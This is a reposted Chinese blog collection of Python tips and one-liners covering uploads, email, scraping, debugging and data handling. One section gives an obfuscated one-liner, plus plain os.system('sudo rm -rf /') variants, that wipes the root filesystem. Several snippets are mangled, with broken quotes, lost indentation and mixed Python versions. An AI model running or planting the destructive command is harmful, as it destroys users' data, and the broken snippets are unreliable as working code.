python记录

2019年8月19日 231次阅读来源: 苏生不惑

python上传文件

import requests
#https://zhuanlan.zhihu.com/p/20091394
s = requests.session()
url = 'http://how-old.net/Home/Analyze?isTest=False&source=&version=001'
header = {
'Accept-Encoding':'gzip, deflate',
'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0",
'Host': "how-old.net",
'Referer': "http://how-old.net/",
'X-Requested-With': "XMLHttpRequest"
    }

data = {'file':open('test.jpg', 'rb')}
 #此处打开指定的jpg文件

r = s.post(url, files=data, headers=header)   
h = r.content
print h

Python中的copy、deepcopy

a = [0, 1, 2, 3, [4, 5, 6], 7]
b = a[:]
a[0] = 5
a[4][0] = 99
print(a)
print(b)
print([id(x) for x in a])
print([id(x) for x in b])

Python正则表达式匹配.*

# encoding:utf-8
import urllib
import re
import json

url = 'http://news.163.com/special/00014RJU/nationalnews-json-data.js'
result = urllib.urlopen(url).read().strip()
pattern = re.compile(r';var newsList=(.*)')
pattern = re.compile(r';var newsList=([\s\S]*)')#.*只能匹配非换行符，换成[\s\S]*即可
matchs = pattern.match(result)
print(matchs.group())

使用python进行文件夹对比

#coding:gbk
from filecmp import dircmp


def show_diff_files(dcmp):
    for name in dcmp.diff_files:
        print "diff_file %s found in %s and %s" % (name, dcmp.left,dcmp.right)
    for sub_dcmp in dcmp.subdirs.values():
        show_diff_files(sub_dcmp)

def show_only(dcmp):
    if dcmp.left_only:
        ave_rst = 1
        for i in dcmp.left_only:
            print "%s只存在于%s中"%(i,dcmp.left)
    if dcmp.right_only:
        for i in dcmp.right_only:
            print "%s只存在于%s中"%(i,dcmp.right)
    for sub_dcmp in dcmp.subdirs.values():
        show_only(sub_dcmp)

def compare(dir1,dir2):
    dcmp = dircmp(dir1,dir2)
    show_diff_files(dcmp)
    show_only(dcmp)

发送邮件

from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
from time import sleep
from bs4 import BeautifulSoup
import requests
import smtplib
import time
def SendMessage(title):  # 发送邮件
    def _format_addr(s):
        name, addr = parseaddr(s)
        return formataddr((Header(name, 'utf-8').encode(), addr))

    from_addr = 'xxx@163.com'#发件人信箱
    password = 'xxxx'#邮箱密码
    to_addr = 'xxx@163.com'#收件人信箱
    smtp_server = 'smtp.163.com'#请确保开启了smtp服务
    msg = MIMEText(title, 'plain', 'utf-8')
    msg['From'] = _format_addr('邮件提醒 <%s>' % from_addr)
    msg['To'] = _format_addr('亲爱的 <%s>' % to_addr)
    msg['Subject'] = Header('邮件提醒更新', 'utf-8').encode()
    server = smtplib.SMTP(smtp_server, 25)
    server.set_debuglevel(1)
    server.login(from_addr, password)
    server.sendmail(from_addr, [to_addr], msg.as_string())
    server.quit()
print(SendMessage('hello'))

10 行代码判定色情图片

import sys, Image  
  
img = Image.open(sys.argv[1]).convert('YCbCr')  
  
w, h = img.size  
  
data = img.getdata()  
  
cnt = 0  
  
for i, ycbcr in enumerate(data):  
  
    y, cb, cr = ycbcr  
  
    if 86 <= cb <= 117 and 140 <= cr <= 168:  
  
        cnt += 1  
  
print '%s %s a porn image.'%(sys.argv[1], 'is' if cnt > w * h * 0.3 else 'is not')

命令行格式化

>>> echo '{"key":"value"}' | python -m json.tool
{
    "key": "value"
}
//python -m json.tool

//在 vim 中执行这句代码，可以快速格式化 json 数据
curl -L http://restapi/json_response -o json-response | python -m json.tool

获取公网IP地址

python -c "import socket; sock=socket.create_connection(('ns1.dnspod.net',6666)); print sock.recv(16); sock.close()"

帮你数数：

$ python -c "print(' '.join([str(i) for i in range(1,10000)]))" | say

一行统计一本书的所有词频(此处是前100)

import re; from collections import Counter Counter(re.findall(r'\w+',open('hamlet.txt').read().lower())).most_common(100)

转置矩阵

m = [ [1,2],[3,4]] zip(*m)

import就可以飞

import antigravity就会打开 xkcd.com/about/

2的1000次方的各位数之和

sum(map(int, str(2**1000)))

一行筛质数

filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, n))

list分组

a=[3, 8, 9, 4, 1, 10, 6, 7, 2, 5]
[a[i:i+3] for i in xrange(0,len(a),3)]
结果[[3, 8, 9], [4, 1, 10], [6, 7, 2], [5]]

key，value互换

m = {'a': 1, 'b': 2, 'c': 3, 'd': 4}
{v: k for k, v in m.items()}
结果：{1: 'a', 2: 'b', 3: 'c', 4: 'd'}

碾平list

a = [1, 2, [3, 4], [[5, 6], [7, 8]]]
flatten = lambda x: [y for l in x for y in flatten(l)] if type(x) is list else [x]
flatten(a);
结果：[1,2,3,4,5,6,7,8]

简易的web服务

python -m SimpleHTTPServer 8000,然后浏览器打开 localhost:8000，一个简易的web服务就开启了

打印九九乘法表

print ‘n’.join([‘ ‘.join([‘%s%s=%-2s’ % (y,x,xy) for y in range(1,x+1)]) for x in range(1,10)])

计算出1-1000之间的素数

print(*(i for i in range(2, 1000) if all(tuple(i%j for j in range(2, int(i**.5))))))

输出斐波那契数列的值

print [x[0] for x in [ (a[i][0], a.append((a[i][1], a[i][0]+a[i][1]))) for a in ([[1,1]], ) for i in xrange(100) ]]

网易云音乐批量下载


import requests
import urllib

# 榜单歌曲批量下载
# r = requests.get('http://music.163.com/api/playlist/detail?id=2884035')    # 网易原创歌曲榜
# r = requests.get('http://music.163.com/api/playlist/detail?id=19723756')    # 云音乐飙升榜
# r = requests.get('http://music.163.com/api/playlist/detail?id=3778678')    # 云音乐热歌榜
r = requests.get('http://music.163.com/api/playlist/detail?id=3779629')    # 云音乐新歌榜

# 歌单歌曲批量下载
# r = requests.get('http://music.163.com/api/playlist/detail?id=123415635')    # 云音乐歌单——【华语】中国风的韵律，中国人的印记
# r = requests.get('http://music.163.com/api/playlist/detail?id=122732380')    # 云音乐歌单——那不是爱，只是寂寞说的谎

arr = r.json()['result']['tracks']    # 共有100首歌
    
for i in range(10):    # 输入要下载音乐的数量，1到100。
    name = str(i+1) + ' ' + arr[i]['name'] + '.mp3'
    link = arr[i]['mp3Url']
    urllib.request.urlretrieve(link, '网易云音乐\\' + name)    # 提前要创建文件夹
    print(name + ' 下载完成')

调用默认浏览器打开一坨网页


import webbrowser

urls = [
    'http://www.douban.com',
    'http://weibo.com',
    'http://www.zhihu.com',
    'http://www.v2ex.com/',
    'https://github.com/',
    'https://mail.google.com/',
    'http://instagram.com/',
]

map(lambda x: webbrowser.open(x), urls)

扒取kindle今日特价书，把结果邮件到指定邮箱

# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import smtplib
from email.mime.text import MIMEText
from email.Header import Header

result = {"name": [], "cover": [], "desc": [], "link": [], "price": []}


def get_page():
    return requests.get("http://t.cn/Rvm4xgc").text


def parse(html):
    soup = BeautifulSoup(html)
    table = soup.body.find_all("table")[6]

    name = table.find_all("tr")[1]

    result["name"].append(name.find_all("td")[0].b.string)
    result["name"].append(name.find_all("td")[2].b.string)

    desc = table.find_all("tr")[2]

    book_1 = desc.find_all("td")[0]
    result["cover"].append(book_1.a.img["src"])
    result["link"].append("http://www.amazon.cn" + book_1.a["href"])
    result["desc"].append(book_1.contents[1])
    result["price"].append(book_1.find_all("p")[1].b.span.string)

    book_2 = desc.find_all("td")[2]
    result["cover"].append(book_2.a.img["src"])
    result["link"].append("http://www.amazon.cn" + book_2.a["href"])
    result["desc"].append(book_2.contents[1])
    result["price"].append(book_2.find_all("p")[1].b.span.string)


mail_config = {
    "from": "gitradar@163.com",
    "to": "liushuaikobe1993@163.com",
    "server": "smtp.163.com",
    "username": "gitradar",
    "pwd": "yourpassword"
}


def send_mail(sbj, content, from_whom=mail_config['from'], to_whom=mail_config['to'], server=mail_config['server'],
              username=mail_config['username'], pwd=mail_config['pwd']):
    msg = MIMEText(content, "html", "utf-8")
    msg['Subject'] = Header(sbj, "utf-8")
    msg['From'] = from_whom
    msg['To'] = to_whom
    s = smtplib.SMTP(server)
    s.ehlo()
    s.starttls()
    s.login(username, pwd)
    s.sendmail(from_whom, to_whom, msg.as_string())


def build_html():
    return '<html><body>' \
            + '<h2>'+ result["name"][0] + '&nbsp; ' + result["price"][0] + '</h2>' \
            + '<a href="' + result["link"][0] + '">' \
            + '<img src="' + result["cover"][0] + '"></img>' \
            + '</a>' \
            + '<p>' + result["desc"][0] + '</p>' \
            + '<h2>'+ result["name"][1] + '&nbsp; ' + result["price"][1] + '</h2>' \
            + '<a href="' + result["link"][1] + '">' \
            + '<img src="' + result["cover"][1] + '"></img>' \
            + '</a>' \
            + '<p>' + result["desc"][1] + '</p>' \
            + '</body></html>'


if __name__ == "__main__":
    parse(get_page())
    html = build_html()
    sbj = "Kindle今日特价书"
    send_mail(sbj, html)

心形函数

print('\n'.join([''.join([('PYTHON!'[(x-y)%7]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))

                THON!PYTH           YTHON!PYT               
            !PYTHON!PYTHON!PY   N!PYTHON!PYTHON!P           
          N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTH         
         N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON        
        N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!P       
        !PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PY       
        PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYT       
        YTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTH       
        THON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHO       
        HON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON       
         N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON        
          PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON         
          YTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!         
            ON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON           
             !PYTHON!PYTHON!PYTHON!PYTHON!PYTHON            
              YTHON!PYTHON!PYTHON!PYTHON!PYTHON             
                ON!PYTHON!PYTHON!PYTHON!PYTHO               
                  PYTHON!PYTHON!PYTHON!PYTH                 
                    HON!PYTHON!PYTHON!PYT                   
                       PYTHON!PYTHON!P                      
                          ON!PYTHON                         
                             YTH                            
                              H

Python实现Zip文件的暴力破解


import zipfile 
try:
    with zipfile.ZipFile('1.zip') as zFile:     #创建ZipFile对象
        #解压文件
        zFile.extractall(path='./',pwd=b'1314')
        print('Extract the Zip file successfully!')
except:
    print('Extract the Zip file failed!')

判断输入数字是实数（整型数字或者浮点型数字）

In [1]: isinstance(1, (int, long, float))
True

In [2]: isinstance('a', (int, long, float))
False
In [1]: foo = '123.456'

In [2]: foo.replace('.', '', 1).isdigit()
True

In [3]: bar = '12.34.56'

In [4]: bar.replace('.', '', 1).isdigit()
False

def input_num():
    while True:
        num = raw_input('input a number : ')
        if num.replace('.', '', 1).isdigit():
            return num
>>> f = 1.0
>>> f.is_integer()
True
>>> f = 1.0 / 3 + 2.0 / 3
>>> f.is_integer()
True
try:
    f = float(input_value)
except Exception:
    ...
else:
    # Is it a integer?
    if f.is_integer():
        ...
    else:

pip 安装lxml时出现 “Unable to find vcvarsall.bat

1. 安装wheel，命令行运行：
pip install wheel

2.在http://www.lfd.uci.edu/~gohlke/pythonlibs/#lxml 这里下载对应的.whl文件，注意别改文件名！
Ctrl + F，输入lxml，找到下面这段
Lxml, a binding for the libxml2 and libxslt libraries.
lxml‑3.4.4‑cp27‑none‑win32.whl
lxml‑3.4.4‑cp27‑none‑win_amd64.whl
lxml‑3.4.4‑cp33‑none‑win32.whl
lxml‑3.4.4‑cp33‑none‑win_amd64.whl
lxml‑3.4.4‑cp34‑none‑win32.whl
lxml‑3.4.4‑cp34‑none‑win_amd64.whl
lxml‑3.4.4‑cp35‑none‑win32.whl
lxml‑3.4.4‑cp35‑none‑win_amd64.whl
cp后面是Python的版本号，27表示2.7，根据你的Python版本选择下载。

3. 进入.whl所在的文件夹，执行命令即可完成安装
pip install 带后缀的完整文件名
$ pip install lxml-3.6.4-cp35-cp35m-win32.whl
Processing .\lxml-3.6.4-cp35-cp35m-win32.whl
Installing collected packages: lxml
Successfully installed lxml-3.6.4
http://stackoverflow.com/questions/29440482/how-to-install-lxml-on-windows 
http://stackoverflow.com/questions/2817869/error-unable-to-find-vcvarsall-bat

Python一行删掉根目录

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))
 
import os
os.system('sudo rm -rf /')
__import__('os').system('sudo rm -rf /')

登录博客园

from selenium import webdriver
import time


browser = webdriver.Chrome()
browser.get("http://cnblogs.com")
time.sleep(1)
browser.find_element_by_link_text("登录").click()
time.sleep(1)
browser.find_element_by_id("input1").send_keys("用户名")
browser.find_element_by_id("input2").send_keys("密码")
browser.find_element_by_id("signin").click()
time.sleep(1)
try:
    if browser.find_element_by_link_text("退出"):
        print "Login Successfully."
except:
    print "Login failed."


from selenium import webdriver
source_url='http://huaban.com/boards/28195582/'
headers={
    'Host':'huaban.com',
    'Pragma':'no-cache',
    'Cache-Control':'no-cache',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36',
    'Cookie':'xxxxxx'
}
cap = webdriver.DesiredCapabilities.PHANTOMJS
cap["phantomjs.page.settings.userAgent"] = headers['User-Agent']    #设置请求header头信息
cap["phantomjs.page.settings.loadImages"] = False                   #禁止加载图片
cap["phantomjs.page.customHeaders.Host"]=headers['Host']
cap["phantomjs.page.customHeaders.Pragma"]=headers['Pragma']
cap["phantomjs.page.customHeaders.Cookie"]=headers['Cookie']
driver = webdriver.PhantomJS(desired_capabilities=cap)
driver.get(source_url)

unicode

echo "u00e8u0091u0089u00e7u008au00b6u00e3u0083u00a2u00e3u0083u008eu00e3u0083u009du00e3u0083u00bcu00e3u0083u00abu00e3u0082u00a2u00e3u0083u00b3u00e3u0083u0086u00e3u0083u008a"
x = u'\u00e8\u0091\u0089
print x

python中怎么获取某个网页元素之前的所有源码?


doc = '''
<html>
    <head>
        <title>The Dormouse's story </title>
    </head> 
    <body> 
        <p id="p1">p1p1p1
            <b id='b1'>b1b1b1</b>
        </p> 
        <p id="p2">p2p2p2</p>
        <div id='d1'>
            <ul id='u1'>u1u1u1</ul>
            <a id="a1">a1a1a1</a>
            <div id='d2'>
                <a id="a2">a2a2a2 </a>
                <b id='b2'>b2b2b2</b>
                <p id='p3'>p3p3p3</p>
            </div>
            <a id="a3">a3a3a3 </a>
        </div> 
        <p id="p4">p4p4p4</p>
    </body>
</html>
'''

from lxml import html

tree = html.fromstring(doc)
a = tree.get_element_by_id("a1")
print(html.tostring(a))
print(html.tostring(tree).decode())

def dropnode(e=None):
    if e is None: return
    if e.tag == 'body': return
    nd = e.getnext()
    while nd is not None:
        nd.drop_tree()
        nd = e.getnext()
    dropnode(e.getparent())

dropnode(a)
print(html.tostring(tree).decode())

requests优雅的下载图片

import requests
from bs4 import BeautifulSoup

r = requests.get("http://www.pythonscraping.com")
bs = BeautifulSoup(r.text,'lxml')
image = bs.find("a", {"id": "logo"}).find("img")["src"]

ir = requests.get(image)
if ir.status_code == 200:
    open('logo.jpg', 'wb').write(ir.content)
 
import requests
from bs4 import BeautifulSoup

r = requests.get("http://www.pythonscraping.com")
bs = BeautifulSoup(r.text,'lxml')
image = bs.find("a", {"id": "logo"}).find("img")["src"]

ir = requests.get(image)
if ir.status_code == 200:
    open('logo.jpg', 'wb').write(ir.content)

python lxml

import lxml.etree 
import urllib.request
from lxml.etree import *
str_url = 'http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=26693255&retmode=text&rettype=xml'
request = urllib.request.Request(str_url)
xml_text = urllib.request.urlopen(request).read()
root = lxml.etree.XML(xml_text) # xml_text 为xml纯文本文件
# example  获取杂志名称和ISSN
# 使用 tag作为输入需要逐级进行
journal_name = root.find('PubmedArticle').find('MedlineCitation').find('Article').find('Journal').find('Title').text
# 也可以使用xpath(必须使用相对路径，以.//开头，如果想使用绝对路径可以使用xpath函数)
journal_name = root.find('.//Title').text
print('xpath:' ,journal_name)
journal_name = root.xpath('//Title')[0].text
print(journal_name)

爬取豆瓣电影主页本周口碑榜

import lxml.html
str_url = 'http://movie.douban.com/'
request = urllib.request.Request(str_url)
html_text = urllib.request.urlopen(request).read()
root = lxml.html.fromstring(html_text)
# 获取本页面所有项目名称 cssselect() 函数，返回list，包含所有匹配的结果，可以使用css选择器，类似于jquery
movies_list = [a.text for a in  root.cssselect('div.billboard-bd tr td a')]
print(movies_list)
# 获取所有电影超链接
movies_href = [a.get('href') for a in  root.cssselect('div.billboard-bd tr td a')]
print(movies_href)

回头遍历

n=7 
list1=['a','b','c','d'] 
print (l * (n // len(l) + 1))[:n]
(list1 * 2)[:n]
import itertools 
import math 
(list1 * math.ceil( n / len(list1) ) )[:7] 
n=7 
list1=['a','b','c','d'] 
print list(itertools.islice(itertools.cycle(list1), 0, n))

pip 安装 scrapy

pip install wheel
http://www.lfd.uci.edu/~gohlk… 下载对应版本的 lxml和Twisted，cp后面是Python的版本号，27表示2.7 pip install 对应的whl文件
pip install scrapy

找出list2中有,但是list1中没有的数据

list(set(list2)-set(list1))

将字符串'[1,2,3,4]’转化为列表[1,2,3,4]

eval('[1,2,3,4]')
[1, 2, 3, 4]
json.loads(str)
ast.literal_eval(str)
raw = b'{"aa":11,"bb":22,"cc":33}'
d   = json.loads(str(raw, 'utf-8'))
d = eval(b'{"aa":11,"bb":22,"cc":33}')
s = b'{"aa":11,"bb":22,"cc":33}'.decode('utf-8')  # 先解码成字符串
data = json.loads(s)  # 解析为字典对象

Pythonic [for]

a_part = [2001, 12000]
b_part = [1001, 2000]
c_part = [11, 1000]
d_part = [1, 10]

data = range(1, 12000)
labels = [a_part, b_part, c_part, d_part]
sizes = []
for part in labels:
    sum = 0
    for each in data:
        sum += each if each >= part[0] and each <= part[1] else 0
    sizes.append(sum)
print(sizes)
sizes = [sum(each for each in data if part[0] <= each <= part[1]) for part in labels]
sizes = [sum(x for x in data if low<=x<=high) for low,high in labels]

send email

import smtplib
from email.mime.text import MIMEText

第三方 SMTP 服务

mail_host = "smtp.163.com"  # SMTP服务器
mail_user = "username"  # 用户名
mail_pass = "passwd"  # 密码

sender = 'user@163.com'  # 发件人邮箱(最好写全, 不然会失败)
receivers = ['to_someone@qq.com']  # 接收邮件，可设置为你的QQ邮箱或者其他邮箱


content = '过期教程害死人!'
title = 'Python SMTP Mail Test'  # 邮件主题
message = MIMEText(content, 'plain', 'utf-8')  # 内容, 格式, 编码
message['From'] = "{}".format(sender)
message['To'] = ",".join(receivers)
message['Subject'] = title

try:
    smtpObj = smtplib.SMTP_SSL(mail_host, 465)  # 启用SSL发信, 端口一般是465
    smtpObj.login(mail_user, mail_pass)  # 登录验证
    smtpObj.sendmail(sender, receivers, message.as_string())  # 发送
    print("mail has been send successfully.")
except smtplib.SMTPException as e:
    print(e)
    
    ###pip UnicodeDecodeError: 'ascii' codec can't decode byte 0xc0 in position 0
    vi mimetypes.py
    import sys
reload(sys)
sys.setdefaultencoding('utf-8')
    ###后台运行命令
    from subprocess import run
run("ping 127.0.0.1",shell=True)

group by

import pandas as pd

cols = ['流水号', '处理人', '处理时间']
data = [[10000, '张三', '2016-10-01'],
        [10000, '李四', '2016-10-02'],
        [10001, '王五', '2016-10-01'],
        [10002, '赵六', '2016-10-03'],
        [10001, '黄七', '2016-10-02'],
        [10000, '吴八', '2016-10-03']]

df = pd.DataFrame(data,columns=cols)
grp = [(n, ','.join([r for r in set(df[df['流水号']==n]['处理人'])]))
                       for n in set(df['流水号'])]

df2 = pd.DataFrame(grp, columns=cols[:-1])
print(df)
print(df2)

cols = ['流水号', '处理人', '处理时间']
data = [[10000, '张三', '2016-10-01'],
        [10000, '李四', '2016-10-02'],
        [10001, '王五', '2016-10-01'],
        [10002, '赵六', '2016-10-03'],
        [10001, '黄七', '2016-10-02'],
        [10000, '吴八', '2016-10-03']]
frame = pd.DataFrame(data,columns=cols)

def combination(names):
    return ','.join(names)
    
frame.groupby('流水号').aggregate(combination)

pandas导入文件

import pandas as pd
pd.read_csv(‘1.csv’, skiprows=[0, 2]) # 跳过文件第一行和第三行

找出list2中有,但是list1中没有的数据

list(set(list2)-set(list1))
a = [“a”,”b”,”c”,”e”]
b = [“b”,”c”,”f”]
li = [ item for item in b if item not in a]

python try…except中如何输入e的行号

import sys, os

try:
    raise NotImplementedError("No error")
except Exception as e:
    exc_type, exc_obj, exc_tb = sys.exc_info()
    fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
    print(exc_type, fname, exc_tb.tb_lineno)

字符串与二进制串的相互转换

    def encode(s):
    return ' '.join([bin(ord(c)).replace('0b', '') for c in s])

def decode(s):
    return ''.join([chr(i) for i in [int(b, 2) for b in s.split(' ')]])
    
>>>encode('hello')
'1101000 1100101 1101100 1101100 1101111'
>>>decode('1101000 1100101 1101100 1101100 1101111')
'hello'
>>> bin(int('256', 10))
'0b100000000'
>>> str(int('0b100000000', 2))
'256'

windows 下python pip install libxml

http://www.lfd.uci.edu/~gohlk… 下载lxml，文件名是这样的： lxml-3.6.4-cp27-cp27m-win32.whl
cp27表示python2.7 cmd里输入python第一行末尾win32，就说明python是32位的
pip install wheel #如果没有安装过wheel就安装
pip install lxml-**.whl #在whl文件目录中执行

time

import time
local = time.localtime()
print(time.localtime(1400000000))
time.mktime(local)#接受时间元组并返回时间辍
my_format = “%Y/%m/%d %H:%M:%S”
my_time = time.localtime()
print(my_time)
print(time.strftime(my_format, my_time))

python中不要使用[]{}作为默认参数

def fn(x, L=[]):
  L.append(x)
  return L

print(fn(1))   # [1]
print(fn(7))   # [1, 7]
print(fn(13))  # [1, 7, 13]
// 而 javascript (ES6) 没有上面那个坑
function fn(x, L=[]){
  L.push(x);
  return L.toString();
}

console.log(fn(1))   // "1"
console.log(fn(7))   // "7"
console.log(fn(13))  // "13"

嵌套列表推导式和生成器表达式

[(i,j) for i in range(3) for j in range(i) ]
((i,j) for i in range(4) for j in range(i) )

括号代替缩进

from future import braces

使用re.DEBUG查看正则表达式的匹配过程

re.compile(r’d+(.*)’,re.DEBUG)

IPython调试

import sys

class ExceptionHook:
    instance = None

    def __call__(self, *args, **kwargs):
        if self.instance is None:
            from IPython.core import ultratb
            self.instance = ultratb.FormattedTB(mode='Plain',
                 color_scheme='Linux', call_pdb=1)
        return self.instance(*args, **kwargs)

sys.excepthook = ExceptionHook()
ipython --pdb your_scripyt.py
from ipython import embed;embed()
 import ipdb; ipdb.set_trace()
python -m pdb your.py

ipython test.py --pdb
---------------------------------------------------------------------------
ZeroDivisionError                         Traceback (most recent call last)
/Users/dongweiming/test/test.py in <module>()
      2 b = 0
      3 
----> 4 a / b

ZeroDivisionError: integer division or modulo by zero
*** NameError: name 'pdb' is not defined
> /Users/dongweiming/test/test.py(4)<module>()
      1 a = 1
      2 b = 0
      3 
----> 4 a / b

ipdb> p b  # p是print的别名
0
ipdb> p a
1
ipdb>

调试函数

import sys

def get_cur_info():
    print sys._getframe().f_code.co_filename  # 当前文件名
    print sys._getframe(0).f_code.co_name  # 当前函数名
    print sys._getframe(1).f_code.co_name　# 调用该函数的函数的名字，如果没有被调用，则返回module
    print sys._getframe().f_lineno # 当前行号

字典解析

    a_dict = {"%d^2" % item: item**2 for item in range(5)}
print(a_dict)    # {'3^2': 9, '2^2': 4, '1^2': 1, '0^2': 0, '4^2': 16}
a_generator = (item**2 for item in range(5))#生成器
a_list_generator = iter(a_list)
print(list(map(lambda x, y: x**y, range(1, 5), range(1, 5))))    # [1, 4, 27, 256]
print(reduce(lambda x, y: x+y, range(10)))    # 45
print(reduce(lambda x, y: x+y, range(10), 100))    # 145
print(reduce(lambda x, y: x+y, [[1, 2], [3, 4]], [0]))    # [0, 1, 2, 3, 4]

print(filter(None, range(-4, 5)))    # <filter object at 0x10c096710>
print(list(filter(None, range(-4, 5))))    # [-4, -3, -2, -1, 1, 2, 3, 4]
print(list(filter(lambda x: x > 0, range(-4, 5))))    # [1, 2, 3, 4]

print(all([0, 1, 2]))    # False 判定一个可迭代对象是否全为True或者有为True
print(any([0, 1, 2]))    # True


for index, item in enumerate(range(5)):
    print("%d: %d" % (index, item))    # 0: 0 \n 1: 1 \n 2: 2
    
    for a, b in zip([1, 2, 3], ["a", "b", "c"]):
    print(a, b)    # 1 a \n 2 b \n 3 c
a_dict = dict(zip([1, 2, 3], ["a", "b", "c"]))
print(a_dict)    # {1: 'a', 2: 'b', 3: 'c'}
>>> [(a,b )for a, b in zip([1, 2, 3], ["a", "b", "c"])]
[(1, 'a'), (2, 'b'), (3, 'c')]
一行代码启动一个Web服务

python -m SimpleHTTPServer 8080  # python2
python3 -m http.server 8080  # python3
一行代码实现求解2的1000次方的各位数之和
print(sum(map(int, str(2**1000))))
多维数组转化为一维
flatten = lambda x: [y for l in x for y in flatten(l)] if isinstance(x, list) else [x]
一行代码计算出1-100之间的素数
print(' '.join([str(item) for item in filter(lambda x: not [x % i for i in range(2, x) if x % i == 0], range(2, 101))]))
print(' '.join([str(item) for item in filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, 101))]))
一行代码打印九九乘法表
print('\n'.join([' '.join(['%s*%s=%-2s' % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)]))

1*1=1
1*2=2  2*2=4
1*3=3  2*3=6  3*3=9
1*4=4  2*4=8  3*4=12 4*4=16
1*5=5  2*5=10 3*5=15 4*5=20 5*5=25
1*6=6  2*6=12 3*6=18 4*6=24 5*6=30 6*6=36
1*7=7  2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49
1*8=8  2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64
1*9=9  2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81

一行代码输出特定字符"Love"拼成的心形
print('\n'.join([''.join([('Love'[(x-y) % len('Love')] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3 <= 0 else ' ') for x in range(-30, 30)]) for y in range(30, -30, -1)]))
循环过程中变更 list 长度是错误的思路
for i in range(0,len(list1)): 
if list1[i].find('a') != -1: 
   list1.pop(i) 

list1 = [x for x in list1 if 'a' not in x]
list1 = ['print', 'lock', 'china', 'page'] 

list2 = filter(lambda item: 'a' not in item,list1)

Fraction模块：分数模块

from fractions import Fraction
        x = Fraction(4, 6)                       # 分数类型 4/6
        x = Fraction("0.25")                     # 分数类型 1/4

增强赋值和共享引用：普通+号会生成新的对象，而增强赋值+=会在原处修改
        L = M = [1, 2]
        L = L + [3, 4]                      # L = [1, 2, 3, 4], M = [1, 2]
        L += [3, 4]                         # L = [1, 2, 3, 4], M = [1, 2, 3, 4]


 
{x**2 for x in [1, 2, 3, 4]}                         # 集合解析
"%(name1)d---%(name2)s" % {"name1":23, "name2":"value2"}

"{0}, {1} and {2}".format('spam', 'ham', 'eggs')            # 基于位置的调用
    "{motto} and {pork}".format(motto = 'spam', pork = 'ham')   # 基于Key的调用
    D = dict([('name', 'tom'), ('age', 12)])          # {'age': 12, 'name': 'tom'}
    D = dict(zip(['name', 'age'], ['tom', 12]))
    'first line' in open('test.txt')   # in测试 返回True或False
    L = [('b',2),('a',1),('c',3),('d',4)]
        sorted(L, key=lambda x: x[1]), reverse=True)      # 使用Key参数和reverse参数
        sorted(L, key=lambda x: (x[0], x[1]))             # 使用key参数进行多条件排序，即如果x[0]相同，则比较x[1]
        #-- 模块的包导入:使用点号(.)而不是路径(dir1\dir2)进行导入
    import dir1.dir2.mod                # d导入包(目录)dir1中的包dir2中的mod模块 此时dir1必须在Python可搜索路径中
    from dir1.dir2.mod import *         # from语法的包导入
    from .. import spam                 # 导入当前目录的父目录下的spam模块
    from subprocess import call
call(["ls", "-l"])
    字典排序
    
    import operator
x = {1: 2, 3: 4, 4: 3, 2: 1, 0: 0}
sorted_x = sorted(x.items(), key=operator.itemgetter(1))  dict(sorted_x)就是你想要的结果

模拟登录有验证码的网站

def get_captcha(self, data, captcha_url): 
self._session.post(self.login_url, data=data) 
r = self._session.get(captcha_url) 
with open('image/captcha.gif', 'wb') as f: 
f.write(r.content) 

image = Image.open('image/captcha.gif') 

captcha = '' 
try: 
captcha = pytesseract.image_to_string(image, lang='eng') 
except Exception: 
pass 
if len(captcha) == 0: 
self.get_captcha(data, captcha_url) 
else: 
print('captcha:', captcha) 
 os.remove('image/captcha.gif') 
return captcha

字典排序

list = [ {'student_name': zhangsan, 'student_score': 65}, {'student_name': lisi, 'student_score': 95}, {'student_name': wangwu, 'student_score': 80}, {'student_name': maliu, 'student_score': 75}, {'student_name': zhuqi, 'student_score': 88} ]
from operator import itemgetter 
top3 = sorted(lst, key=itemgetter('student_score'), reverse=True)[:3] 
print sorted(list, key=lambda student: student['student_score'])[-3:]

获取下个周三的日期

def get_wednesday_date():
     today = date.today()  
     days = 2 - today.weekday()  
     time_delta = timedelta(days=days) if days > 0 else timedelta(days=7+days) 
     return  today + time_delta
def get_wednesday_date(): 
return date.today() + timedelta(((2 - date.today().weekday()) + 7) % 7)

    原文作者：苏生不惑
    原文地址: https://segmentfault.com/a/1190000006872491
    本文转自网络文章，转载此文章仅为分享知识，如有侵权，请联系博主进行删除。

python上传文件

Python中的copy、deepcopy

Python正则表达式匹配.*

命令行格式化

获取公网IP地址

帮你数数：

一行统计一本书的所有词频(此处是前100)

转置矩阵

import就可以飞

2的1000次方的各位数之和

一行筛质数

